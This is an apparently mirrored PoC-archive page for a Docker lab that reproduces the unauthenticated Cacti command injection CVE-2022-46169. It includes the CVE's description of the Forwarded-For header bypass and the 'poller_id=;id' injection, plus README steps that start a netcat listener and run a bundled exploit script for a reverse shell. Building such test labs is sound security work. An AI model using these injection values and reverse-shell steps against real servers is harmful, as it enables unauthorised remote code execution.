Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-46169 PoC — Unauthenticated Command Injection

Source
Associated Vulnerability
Title:Unauthenticated Command Injection (CVE-2022-46169)
Description:Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users. In affected versions a command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device. The vulnerability resides in the `remote_agent.php` file. This file can be accessed without authentication. This function retrieves the IP address of the client via `get_client_addr` and resolves this IP address to the corresponding hostname via `gethostbyaddr`. After this, it is verified that an entry within the `poller` table exists, where the hostname corresponds to the resolved hostname. If such an entry was found, the function returns `true` and the client is authorized. This authorization can be bypassed due to the implementation of the `get_client_addr` function. The function is defined in the file `lib/functions.php` and checks serval `$_SERVER` variables to determine the IP address of the client. The variables beginning with `HTTP_` can be arbitrarily set by an attacker. Since there is a default entry in the `poller` table with the hostname of the server running Cacti, an attacker can bypass the authentication e.g. by providing the header `Forwarded-For: <TARGETIP>`. This way the function `get_client_addr` returns the IP address of the server running Cacti. The following call to `gethostbyaddr` will resolve this IP address to the hostname of the server, which will pass the `poller` hostname check because of the default entry. After the authorization of the `remote_agent.php` file is bypassed, an attacker can trigger different actions. One of these actions is called `polldata`. The called function `poll_for_data` retrieves a few request parameters and loads the corresponding `poller_item` entries from the database. If the `action` of a `poller_item` equals `POLLER_ACTION_SCRIPT_PHP`, the function `proc_open` is used to execute a PHP script. The attacker-controlled parameter `$poller_id` is retrieved via the function `get_nfilter_request_var`, which allows arbitrary strings. This variable is later inserted into the string passed to `proc_open`, which leads to a command injection vulnerability. By e.g. providing the `poller_id=;id` the `id` command is executed. In order to reach the vulnerable call, the attacker must provide a `host_id` and `local_data_id`, where the `action` of the corresponding `poller_item` is set to `POLLER_ACTION_SCRIPT_PHP`. Both of these ids (`host_id` and `local_data_id`) can easily be bruteforced. The only requirement is that a `poller_item` with an `POLLER_ACTION_SCRIPT_PHP` action exists. This is very likely on a productive instance because this action is added by some predefined templates like `Device - Uptime` or `Device - Polling Time`. This command injection vulnerability allows an unauthenticated user to execute arbitrary commands if a `poller_item` with the `action` type `POLLER_ACTION_SCRIPT_PHP` (`2`) is configured. The authorization bypass should be prevented by not allowing an attacker to make `get_client_addr` (file `lib/functions.php`) return an arbitrary IP address. This could be done by not honoring the `HTTP_...` `$_SERVER` variables. If these should be kept for compatibility reasons it should at least be prevented to fake the IP address of the server running Cacti. This vulnerability has been addressed in both the 1.2.x and 1.3.x release branches with `1.2.23` being the first release containing the patch.
Description
WARNING: This is a vulnerable application to test the exploit for the Cacti command injection (CVE-2022-46169). Run it at your own risk!
Readme
# Cacti v1.2.22 command injection (CVE-2022-46169) vulnerable application

This is a vulnerable application to test the exploit for the **Cacti** vulnerability (**CVE-2022-46169**).

## WARNING!

**This application contains serious security vulnerabilities. Run it at your own risk! It is recommended using a backed-up and sheltered environment (such as a VM with a recent snapshot and host-only networking). Do not upload this application to any Internet facing servers, as they will be compromised.**

***DISCLAIMER*: I do not take responsibility for the way in which any one uses this application. The only purpose of this application is to be a test scenario for the CVE-2022-46169 exploit and it should not be used maliciously. If your server is compromised via an installation of this application it is not my responsibility, it is the responsibility of the person(s) who uploaded and installed it.**

## Vulnerability info

* **CVE-ID**: CVE-2022-46169
* **Link**: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46169](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46169)
* **Description**: In affected versions a command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device.

## Usage

Here the steps to **setup** the environment:
1. Launch `docker compose up -d` to start composition.
2. You can finalize the steps by browsing to [http://127.0.0.1/cacti](http://127.0.0.1/cacti) to start the Cacti initialization wizard. If you get an error referring to the database, just wait a little bit and refresh the page.
3. Default credentials are `admin`/`admin`.
4. Press "*Next*" to all the buttons during the wizard, choosing options accordingly. All the defaults should be fine and all the mandatory prerequisites should be satisfied.
5. After the installation, you have to setup a new graph:
    1. Click on "[*Create graphs*](http://127.0.0.1/cacti/graphs_new.php)".
    2. Under "*Graph Templates*" section, in the dropdown menù near "*Create*", select: "*Device - Uptime*".
    3. Press "*Create*" button.

The container will be called `vuln-cacti`.

To **teardown** the environment use `docker compose down` command.

The official installation guide of Cacti can be found [here](https://docs.cacti.net/README.md#cacti-installation).

## Root cause

A detailed root cause of the vulnerability is available [here](https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf).

## Exploit

A public exploit is available on [Exploit-DB](https://www.exploit-db.com/exploits/51166). It has been copied under the `exploit/` folder for simplicity.

To run it:
1. Use netcat on the host machine to listen for incoming connections.
    ```
    nc -lvp 6669
    ```
2. Launch the exploit.
    ```
     ./exploit/exploit.py -u http://127.0.0.1/cacti/ -i host.docker.internal -p 6669
    ```
    Tip: `host.docker.internal` is used to reach the host machine from the container ([reference](https://stackoverflow.com/questions/31324981/how-to-access-host-port-from-docker-container)).

There is also an entry in [*vulhub* repository](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169).

## Authors

* **Antonio Francesco Sardella** - *implementation* - [m3ssap0](https://github.com/m3ssap0)

## License

This project is licensed under the Unlicense - see the **LICENSE** file for details.

## Acknowledgments

* [Stefan Schiller](https://github.com/stefan-schiller-sonarsource), the security researcher who discovered the vulnerability.
* [Riadh Bouchahoua](https://www.exploit-db.com/exploits/51166), the exploit developer.
File Snapshot

[4.0K] /data/pocs/0351c6bb1e60bdd4bcd921bfda914f0d0607623f ├── [4.0K] config │   ├── [4.0K] cacti │   │   ├── [5.1K] config.php │   │   └── [ 216] php.ini │   └── [4.0K] mysql │   ├── [ 333] cacti.cnf │   └── [ 168] timezone.sql ├── [ 564] docker-compose.yml ├── [ 872] Dockerfile_cacti ├── [ 306] Dockerfile_mysql ├── [4.0K] exploit │   ├── [2.7K] exploit.py │   └── [ 6] requirements.txt ├── [1.2K] LICENSE └── [3.6K] README.md 4 directories, 11 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →